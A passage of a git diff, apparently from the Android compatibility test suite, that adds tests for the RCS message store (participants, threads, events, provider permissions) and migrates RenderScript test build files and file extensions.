+package android.telephony.ims;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * This receiver is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class SmsApplicationSmsDeliverReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // Do nothing
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/SmsApplicationWapPushDeliverReceiver.java b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationWapPushDeliverReceiver.java
new file mode 100644
index 0000000..5f6ea5b
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationWapPushDeliverReceiver.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * This receiver is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class SmsApplicationWapPushDeliverReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // Do nothing
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/DefaultSmsAppHelper.java b/tests/tests/rcs/src/android/telephony/ims/cts/DefaultSmsAppHelper.java
new file mode 100644
index 0000000..a26cd05
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/DefaultSmsAppHelper.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import androidx.test.InstrumentationRegistry;
+
+class DefaultSmsAppHelper {
+    static void ensureDefaultSmsApp() {
+        String packageName =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageName();
+        runShellCommand(
+                String.format("settings put secure sms_default_application %s", packageName));
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/Rcs1To1ThreadTest.java b/tests/tests/rcs/src/android/telephony/ims/cts/Rcs1To1ThreadTest.java
new file mode 100644
index 0000000..516a5bb
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/Rcs1To1ThreadTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.ims.cts;
+
+import static android.provider.Telephony.RcsColumns.IS_RCS_TABLE_SCHEMA_CODE_COMPLETE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.telephony.ims.Rcs1To1Thread;
+import android.telephony.ims.RcsMessageManager;
+import android.telephony.ims.RcsMessageStoreException;
+import android.telephony.ims.RcsParticipant;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+public class Rcs1To1ThreadTest {
+    private RcsMessageManager mRcsMessageManager;
+    private Context mContext;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        // Used to skip tests for production builds without RCS tables, will be removed when
+        // IS_RCS_TABLE_SCHEMA_CODE_COMPLETE flag is removed.
+        Assume.assumeTrue(IS_RCS_TABLE_SCHEMA_CODE_COMPLETE);
+
+        mContext = InstrumentationRegistry.getTargetContext();
+        mRcsMessageManager = mContext.getSystemService(RcsMessageManager.class);
+
+        cleanup();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        // TODO(b/123997749) should clean RCS message store here
+    }
+
+    @Test
+    public void testRcs1To1Thread_isGroupReturnsFalse() throws RcsMessageStoreException {
+        RcsParticipant participant = mRcsMessageManager.createRcsParticipant(
+                "+1234567890", "Alice");
+        Rcs1To1Thread thread = mRcsMessageManager.createRcs1To1Thread(participant);
+
+        assertThat(thread.isGroup()).isFalse();
+    }
+
+    @Test
+    public void testRcs1To1Thread_fallbackThreadIdCanBeSet() throws RcsMessageStoreException {
+        RcsParticipant participant = mRcsMessageManager.createRcsParticipant(
+                "+1234567890", "Alice");
+        Rcs1To1Thread thread = mRcsMessageManager.createRcs1To1Thread(participant);
+
+        thread.setFallbackThreadId(2);
+
+        assertThat(thread.getFallbackThreadId()).isEqualTo(2);
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/RcsEventTest.java b/tests/tests/rcs/src/android/telephony/ims/cts/RcsEventTest.java
new file mode 100644
index 0000000..c6ed244
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/RcsEventTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static android.provider.Telephony.RcsColumns.IS_RCS_TABLE_SCHEMA_CODE_COMPLETE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.net.Uri;
+import android.telephony.ims.RcsEvent;
+import android.telephony.ims.RcsEventQueryParams;
+import android.telephony.ims.RcsEventQueryResult;
+import android.telephony.ims.RcsGroupThread;
+import android.telephony.ims.RcsGroupThreadEvent;
+import android.telephony.ims.RcsGroupThreadIconChangedEvent;
+import android.telephony.ims.RcsGroupThreadNameChangedEvent;
+import android.telephony.ims.RcsGroupThreadParticipantJoinedEvent;
+import android.telephony.ims.RcsGroupThreadParticipantLeftEvent;
+import android.telephony.ims.RcsMessageManager;
+import android.telephony.ims.RcsMessageStoreException;
+import android.telephony.ims.RcsParticipant;
+import android.telephony.ims.RcsParticipantAliasChangedEvent;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.google.android.collect.Lists;
+
+import org.junit.AfterClass;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.util.function.Predicate;
+
+public class RcsEventTest {
+    private RcsMessageManager mRcsMessageManager;
+
+    private long mTimestamp;
+    private RcsParticipant mParticipant1;
+    private RcsParticipant mParticipant2;
+    private RcsGroupThread mGroupThread;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+
+    @Before
+    public void setupTestEnvironment() throws RcsMessageStoreException {
+        // Used to skip tests for production builds without RCS tables, will be removed when
+        // IS_RCS_TABLE_SCHEMA_CODE_COMPLETE flag is removed.
+        Assume.assumeTrue(IS_RCS_TABLE_SCHEMA_CODE_COMPLETE);
+
+        Context context = InstrumentationRegistry.getTargetContext();
+        mRcsMessageManager = context.getSystemService(RcsMessageManager.class);
+
+        cleanup();
+
+        mTimestamp = 1234567890;
+        mParticipant1 = mRcsMessageManager.createRcsParticipant("403", "p1");
+        mParticipant2 = mRcsMessageManager.createRcsParticipant("404", "p2");
+        mGroupThread = mRcsMessageManager.createGroupThread(
+                Lists.newArrayList(mParticipant1, mParticipant2), "groupName", Uri.EMPTY);
+
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        // TODO(b/123997749) should clean RCS message store here
+    }
+
+    @Test
+    public void testCreateRcsEvent_canSaveAndQueryGroupThreadParticipantJoinedEvent()
+            throws RcsMessageStoreException {
+        RcsGroupThreadParticipantJoinedEvent rcsGroupThreadParticipantJoinedEvent =
+                new RcsGroupThreadParticipantJoinedEvent(
+                        mTimestamp, mGroupThread, mParticipant1, mParticipant2);
+
+        mRcsMessageManager.persistRcsEvent(rcsGroupThreadParticipantJoinedEvent);
+
+        assertMatchingEventInQuery(
+                RcsEventQueryParams.GROUP_THREAD_PARTICIPANT_JOINED_EVENT,
+                event -> matches(rcsGroupThreadParticipantJoinedEvent, event));
+    }
+
+    @Test
+    public void testCreateRcsEvent_canSaveAndQueryGroupThreadNameChangedEvent()
+            throws RcsMessageStoreException {
+        RcsGroupThreadNameChangedEvent rcsGroupThreadNameChangedEvent =
+                new RcsGroupThreadNameChangedEvent(
+                        mTimestamp, mGroupThread, mParticipant1, "newName");
+
+        mRcsMessageManager.persistRcsEvent(rcsGroupThreadNameChangedEvent);
+
+        assertMatchingEventInQuery(
+                RcsEventQueryParams.GROUP_THREAD_NAME_CHANGED_EVENT,
+                event -> matches(rcsGroupThreadNameChangedEvent, event));
+    }
+
+    @Test
+    public void testCreateRcsEvent_canSaveAndQueryParticipantAliasChangedEvent()
+            throws RcsMessageStoreException {
+        RcsParticipantAliasChangedEvent rcsParticipantAliasChangedEvent
+                = new RcsParticipantAliasChangedEvent(mTimestamp, mParticipant1, "newAlias");
+
+        mRcsMessageManager.persistRcsEvent(rcsParticipantAliasChangedEvent);
+
+        assertMatchingEventInQuery(
+                RcsEventQueryParams.PARTICIPANT_ALIAS_CHANGED_EVENT,
+                event -> matches(rcsParticipantAliasChangedEvent, event));
+    }
+
+    @Test
+    public void testCreateRcsEvent_canSaveAndQueryGroupThreadParticipantLeftEvent()
+            throws RcsMessageStoreException {
+        RcsGroupThreadParticipantLeftEvent rcsGroupThreadParticipantLeftEvent =
+                new RcsGroupThreadParticipantLeftEvent(
+                        mTimestamp, mGroupThread, mParticipant1, mParticipant2);
+
+        mRcsMessageManager.persistRcsEvent(rcsGroupThreadParticipantLeftEvent);
+
+        assertMatchingEventInQuery(
+                RcsEventQueryParams.GROUP_THREAD_PARTICIPANT_LEFT_EVENT,
+                event -> matches(rcsGroupThreadParticipantLeftEvent, event));
+    }
+
+    @Test
+    public void testCreateRcsEvent_canSaveAndQueryGroupThreadIconChangedEvent()
+            throws RcsMessageStoreException {
+        Uri newIcon = Uri.parse("cool/new/icon");
+
+        RcsGroupThreadIconChangedEvent rcsGroupThreadIconChangedEvent =
+                new RcsGroupThreadIconChangedEvent(
+                        mTimestamp, mGroupThread, mParticipant1, newIcon);
+
+        mRcsMessageManager.persistRcsEvent(rcsGroupThreadIconChangedEvent);
+
+        assertMatchingEventInQuery(
+                RcsEventQueryParams.GROUP_THREAD_ICON_CHANGED_EVENT,
+                event -> matches(rcsGroupThreadIconChangedEvent, event));
+    }
+
+    private void assertMatchingEventInQuery(int queryMessageType, Predicate<RcsEvent> predicate)
+            throws RcsMessageStoreException {
+        RcsEventQueryResult queryResult = mRcsMessageManager.getRcsEvents(
+                new RcsEventQueryParams.Builder()
+                        .setEventType(queryMessageType)
+                        .build());
+
+        boolean foundMatch = queryResult.getEvents().stream().anyMatch(predicate);
+
+        assertWithMessage(queryResult.getEvents().toString()).that(foundMatch).isTrue();
+    }
+
+    private boolean matches(RcsGroupThreadParticipantJoinedEvent expected, RcsEvent actual) {
+        if (!(actual instanceof RcsGroupThreadParticipantJoinedEvent)) {
+            return false;
+        }
+        RcsGroupThreadParticipantJoinedEvent actualParticipantJoinedEvent =
+                (RcsGroupThreadParticipantJoinedEvent) actual;
+
+        return matchesGroupThreadEvent(expected, actualParticipantJoinedEvent)
+                && actualParticipantJoinedEvent.getJoinedParticipant().getId()
+                        == expected.getJoinedParticipant().getId();
+    }
+
+
+    private boolean matches(RcsGroupThreadNameChangedEvent expected, RcsEvent actual) {
+        if (!(actual instanceof RcsGroupThreadNameChangedEvent)) {
+            return false;
+        }
+        RcsGroupThreadNameChangedEvent actualGroupThreadNameChangedEvent =
+                (RcsGroupThreadNameChangedEvent) actual;
+
+        return matchesGroupThreadEvent(expected, actualGroupThreadNameChangedEvent)
+                && actualGroupThreadNameChangedEvent.getNewName().equals(expected.getNewName());
+    }
+
+    private boolean matches(RcsGroupThreadParticipantLeftEvent expected, RcsEvent actual) {
+        if (!(actual instanceof RcsGroupThreadParticipantLeftEvent)) {
+            return false;
+        }
+        RcsGroupThreadParticipantLeftEvent actualParticipantLeftEvent =
+                (RcsGroupThreadParticipantLeftEvent) actual;
+
+        return matchesGroupThreadEvent(expected, actualParticipantLeftEvent)
+                && actualParticipantLeftEvent.getLeavingParticipant().getId()
+                        == expected.getLeavingParticipant().getId();
+    }
+
+
+    private boolean matches(RcsGroupThreadIconChangedEvent expected, RcsEvent actual) {
+        if (!(actual instanceof RcsGroupThreadIconChangedEvent)) {
+            return false;
+        }
+        RcsGroupThreadIconChangedEvent actualIconChangedEvent =
+                (RcsGroupThreadIconChangedEvent) actual;
+
+        return matchesGroupThreadEvent(expected, actualIconChangedEvent)
+                && actualIconChangedEvent.getNewIcon().equals(expected.getNewIcon());
+    }
+
+    private boolean matchesGroupThreadEvent(
+            RcsGroupThreadEvent expected, RcsGroupThreadEvent actual) {
+        return matchesRcsEventFields(expected, actual)
+                && actual.getOriginatingParticipant().getId()
+                        == expected.getOriginatingParticipant().getId()
+                && actual.getRcsGroupThread().getThreadId()
+                        == expected.getRcsGroupThread().getThreadId();
+    }
+
+    private boolean matches(RcsParticipantAliasChangedEvent expected, RcsEvent actual) {
+        if (!(actual instanceof RcsParticipantAliasChangedEvent)) {
+            return false;
+        }
+        RcsParticipantAliasChangedEvent actualIconChangedEvent =
+                (RcsParticipantAliasChangedEvent) actual;
+
+        return matchesRcsEventFields(expected, actual)
+                && actualIconChangedEvent.getParticipant().getId()
+                        == expected.getParticipant().getId()
+                && actualIconChangedEvent.getNewAlias().equals(expected.getNewAlias());
+    }
+
+    private boolean matchesRcsEventFields(RcsEvent expected, RcsEvent actual) {
+        return actual.getTimestamp() == expected.getTimestamp();
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/RcsParticipantTest.java b/tests/tests/rcs/src/android/telephony/ims/cts/RcsParticipantTest.java
new file mode 100644
index 0000000..7da8e63
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/RcsParticipantTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static android.provider.Telephony.RcsColumns.IS_RCS_TABLE_SCHEMA_CODE_COMPLETE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.telephony.ims.RcsMessageManager;
+import android.telephony.ims.RcsMessageStoreException;
+import android.telephony.ims.RcsParticipant;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+public class RcsParticipantTest {
+    RcsMessageManager mRcsMessageManager;
+    Context mContext;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        // Used to skip tests for production builds without RCS tables, will be removed when
+        // IS_RCS_TABLE_SCHEMA_CODE_COMPLETE flag is removed.
+        Assume.assumeTrue(IS_RCS_TABLE_SCHEMA_CODE_COMPLETE);
+
+        mContext = InstrumentationRegistry.getTargetContext();
+        mRcsMessageManager = mContext.getSystemService(RcsMessageManager.class);
+
+        cleanup();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        // TODO(b/123997749) should clean RCS message store here
+    }
+
+    @Test
+    public void testCreateRcsParticipant_returnsValidParticipant() throws RcsMessageStoreException {
+        String expectedCanonicalAddress = "+12223334444";
+        String expectedAlias = "test_alias";
+
+        createAndValidateParticipant(expectedCanonicalAddress, expectedAlias);
+    }
+
+    @Test
+    public void testCreateRcsParticipant_shouldNotCrashForExistingCanonicalAddress()
+            throws RcsMessageStoreException {
+        String expectedCanonicalAddress = "+12223334444";
+        String expectedAlias1 = "test_alias_1";
+        String expectedAlias2 = "test_alias_2";
+
+        createAndValidateParticipant(expectedCanonicalAddress, expectedAlias1);
+        createAndValidateParticipant(expectedCanonicalAddress, expectedAlias2);
+    }
+
+    private void createAndValidateParticipant(String expectedCanonicalAddress,
+            String expectedAlias) throws RcsMessageStoreException {
+        RcsParticipant rcsParticipant =
+                mRcsMessageManager.createRcsParticipant(expectedCanonicalAddress, expectedAlias);
+
+        assertThat(rcsParticipant).isNotNull();
+        assertThat(rcsParticipant.getId()).isGreaterThan(0);
+        assertThat(rcsParticipant.getAlias()).isEqualTo(expectedAlias);
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java b/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java
new file mode 100644
index 0000000..c1e0af0
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.ims.cts;
+
+import static android.provider.Telephony.RcsColumns.IS_RCS_TABLE_SCHEMA_CODE_COMPLETE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.provider.Telephony;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+public class RcsProviderPermissionsTest {
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        // Used to skip tests for production builds without RCS tables, will be removed when
+        // IS_RCS_TABLE_SCHEMA_CODE_COMPLETE flag is removed.
+        Assume.assumeTrue(IS_RCS_TABLE_SCHEMA_CODE_COMPLETE);
+    }
+
+    @Test
+    public void testRcsProvider_shouldNotHaveAccess() {
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        try (ContentProviderClient client =
+                     context.getContentResolver().acquireContentProviderClient(
+                             Telephony.RcsColumns.AUTHORITY)) {
+            assertThat(client).isNull();
+        } catch (SecurityException e) {
+            return;
+        }
+        Assert.fail();
+    }
+}
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.bp b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
new file mode 100644
index 0000000..98717ea
--- /dev/null
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libcoremathtestcpp_jni",
+    srcs: ["CoreMathTestJni.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    sdk_version: "21",
+    stl: "c++_static",
+    include_dirs: [
+        "frameworks/rs/cpp",
+        "frameworks/rs",
+    ],
+    shared_libs: [
+        "liblog",
+        "libdl",
+    ],
+    static_libs: ["libRScpp_static"],
+}
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.mk b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
deleted file mode 100644
index c6ebfe3..0000000
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-LOCAL_MODULE := libcoremathtestcpp_jni
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := CoreMathTestJni.cpp
-
-LOCAL_CFLAGS := -std=c++11 -Wall -Werror
-
-LOCAL_SDK_VERSION := 21
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_C_INCLUDES += frameworks/rs/cpp
-LOCAL_C_INCLUDES += frameworks/rs
-
-LOCAL_LDFLAGS := -llog -ldl
-LOCAL_STATIC_LIBRARIES := libRScpp_static
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.rs b/tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/AtomicTest.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/MatrixTest.rs b/tests/tests/renderscript/src/android/renderscript/cts/MatrixTest.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/MatrixTest.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/MatrixTest.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.rs b/tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/TestCtxDim.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/allocationCopy2DRange.rs b/tests/tests/renderscript/src/android/renderscript/cts/allocationCopy2DRange.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/allocationCopy2DRange.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/allocationCopy2DRange.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/allocation_resize.rs b/tests/tests/renderscript/src/android/renderscript/cts/allocation_resize.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/allocation_resize.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/allocation_resize.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/array_init.rs b/tests/tests/renderscript/src/android/renderscript/cts/array_init.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/array_init.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/array_init.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/clear_object.rs b/tests/tests/renderscript/src/android/renderscript/cts/clear_object.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/clear_object.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/clear_object.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/double.rs b/tests/tests/renderscript/src/android/renderscript/cts/double.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/double.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/double.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/doubleglobal.rs b/tests/tests/renderscript/src/android/renderscript/cts/doubleglobal.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/doubleglobal.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/doubleglobal.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/fe_all.rs b/tests/tests/renderscript/src/android/renderscript/cts/fe_all.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/fe_all.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/fe_all.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/float16_arithmetic.rs b/tests/tests/renderscript/src/android/renderscript/cts/float16_arithmetic.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/float16_arithmetic.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/float16_arithmetic.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/foreach.rs b/tests/tests/renderscript/src/android/renderscript/cts/foreach.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/foreach.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/foreach.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbsRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbsRelaxed.rs
deleted file mode 100644
index a94e531..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbsRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAbs.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbsRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbsRelaxed.rscript
new file mode 100644
index 0000000..d37a21a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbsRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAbs.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosRelaxed.rs
deleted file mode 100644
index 57773a4..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
